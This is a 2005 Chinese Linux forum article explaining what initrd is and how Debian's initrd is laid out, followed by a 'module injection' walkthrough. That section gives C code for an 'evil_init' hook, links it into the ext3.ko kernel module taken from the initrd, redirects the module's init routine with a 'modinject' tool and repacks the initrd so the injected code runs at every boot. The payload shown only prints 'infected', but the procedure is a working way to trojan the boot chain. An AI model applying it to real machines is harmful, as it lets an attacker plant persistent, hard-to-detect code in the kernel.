initrd和module injection

一篇介绍模块注入的黑客类文章,对于了解initrd合适有好处的

什么是initrd?

initrd = init ramdisk,是一个启动时存在于内存的文件系统。 initrd的最初的目的是为了把kernel的启动分成两个阶段:在kernel中保留最少最基本的启动代码,然后把对各种各样硬件设备的支持以模块的方式放在 initrd中,这样就在启动过程中可以从initrd所mount的根文件系统中 装载需要的模块。这样的一个好处就是在保持kernel不变的情况下, 通过修改initrd中的内容就可以灵活的支持不同的硬件。在启动完成 的最后阶段,根文件系统可以重新mount到其他设备上。

Linux启动一定要用initrd么?

不必,如果把需要的功能全都编译到内核中(非模块方式),只需要一个内核文件即可,initrd能够减小启动内核的体积并增加灵活性。如果你的内核以模块方式 支持某种文件系统(例如ext3, UFS),而启动阶段的驱动模块(如jbd)放在这些文件系统上,内核是无法读取文件系统的,从而只能通过initrd的虚拟文件系统来装载 这些模块。 这里有些人会问: 既然内核此时不能读取文件系统,那内核的文件是怎么装入内存 中的呢?答案很简单,Grub是file-system sensitive的,能够识别常见的文件系统。

initrd文件是怎么生成的?

使用mkinitrd命令,这个命令其实是一个Bash脚本
#file `which mkinitrd`
/sbin/mkinitrd: Bourne-Again shell script text executable
该脚本先建立一个8M的空文件,并在此上建立一个文件系统,并拷贝相应的的文件。

Debian(sid)里面有什么呢

#file /boot/initrd.img-2.6.11-1-386
/boot/initrd.img-2.6.11-1-386: Linux Compressed ROM File System data, little endian size 4386816 version #2 sorted_dirs CRC 0xc7ea5b26, edition 0, 2573 blocks, 324 files

#mount /boot/initrd.img-2.6.11-1-386 /mnt/dos -o loop

#cd /mnt/dos && ls -la
drwxr-xr-x  1 root root  172 1970-01-01 08:00 bin
drwxr-xr-x  1 root root  144 1970-01-01 08:00 bin2
drwxr-xr-x  1 root root  140 1970-01-01 08:00 dev
drwxr-xr-x  1 root root    0 1970-01-01 08:00 dev2
drwxr-xr-x  1 root root    0 1970-01-01 08:00 devfs
drwxr-xr-x  1 root root   40 1970-01-01 08:00 etc
drwxr-xr-x  1 root root    0 1970-01-01 08:00 keyscripts
drwxr-xr-x  1 root root  196 1970-01-01 08:00 lib
-rwxr-xr-x  1 root root  279 1970-01-01 08:00 linuxrc    <== 一个dash脚本
-rw-r--r--  1 root root   94 1970-01-01 08:00 linuxrc.conf
-rw-r--r--  1 root root 1104 1970-01-01 08:00 loadmodules
drwxr-xr-x  1 root root    0 1970-01-01 08:00 mnt
drwxr-xr-x  1 root root    0 1970-01-01 08:00 proc
drwxr-xr-x  1 root root  100 1970-01-01 08:00 sbin
-rw-r--r--  1 root root  243 1970-01-01 08:00 script
drwxr-xr-x  1 root root   32 1970-01-01 08:00 scripts
drwxr-xr-x  1 root root    0 1970-01-01 08:00 sys
drwxr-xr-x  1 root root    0 1970-01-01 08:00 tmp
drwxr-xr-x  1 root root   32 1970-01-01 08:00 usr
drwxr-xr-x  1 root root    0 1970-01-01 08:00 var

bin
-rwxr-xr-x  1 root root 16504 1970-01-01 08:00 cat
-rwxr-xr-x  1 root root 84008 1970-01-01 08:00 dash    <==一个小型解释器
-rwxr-xr-x  1 root root  7012 1970-01-01 08:00 e2initrd_helper
-rwxr-xr-x  1 root root    75 1970-01-01 08:00 echo
-rwxr-xr-x  1 root root 19180 1970-01-01 08:00 mknod


lib/modules/2.6.11-1-386/                                          <== 启动时必要的模块,也是我们的目标
drwxr-xr-x  1 root root     24 1970-01-01 08:00 initrd
drwxr-xr-x  1 root root     68 1970-01-01 08:00 kernel
-rw-r--r--  1 root root 196941 1970-01-01 08:00 modules.alias
-rw-r--r--  1 root root     69 1970-01-01 08:00 modules.ccwmap
-rw-r--r--  1 root root 262887 1970-01-01 08:00 modules.dep
-rw-r--r--  1 root root    517 1970-01-01 08:00 modules.ieee1394map
-rw-r--r--  1 root root   1141 1970-01-01 08:00 modules.inputmap
-rw-r--r--  1 root root  16647 1970-01-01 08:00 modules.isapnpmap
-rw-r--r--  1 root root 181826 1970-01-01 08:00 modules.pcimap
-rw-r--r--  1 root root 108585 1970-01-01 08:00 modules.symbols
-rw-r--r--  1 root root 246349 1970-01-01 08:00 modules.usbmap


linuxrc

你可以将linuxrc看成是/sbin/init,当initrd装载后会运行linuxrc.
#!/bin/sh
#
# $Id: linuxrc,v 1.11 2004/04/26 12:04:46 herbert Exp $

export PATH=/sbin:/bin

mount -nt proc proc proc
root=$(cat proc/sys/kernel/real-root-dev)
echo 256 > proc/sys/kernel/real-root-dev
mount -nt tmpfs tmpfs bin ||
        mount -nt ramfs ramfs bin
echo $root > bin/root


module injection

# cd tmp && cat test.c
----- cut here ------
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>

extern int init_module(void);

int evil_init(void)
{
    printk("infected.\n");
    init_module();
    return 0;
}
----- cut here ------

# mymake.pl test
# ld -r /mnt/loop/lib/ext3.ko test.o -o tmp.ko
# modinject tmp.ko evil_init
[+] - Change Reloc init OK !
# mv tmp.ko /mnt/loop/lib/ext3.ko
# cd /mnt
# umount loop
# cd /boot
# gzip -9 initrd-2.6.5-1.356
# mv initrd-2.6.5-1.356.gz initrd-2.6.5-1.356.img
现在重启系统,看看结果吧: 你应该能看到“infected”


作者:coolq   更新日期:2005-08-22
来源:linuxforum.net   浏览次数:

相关文章

相关评论   发表评论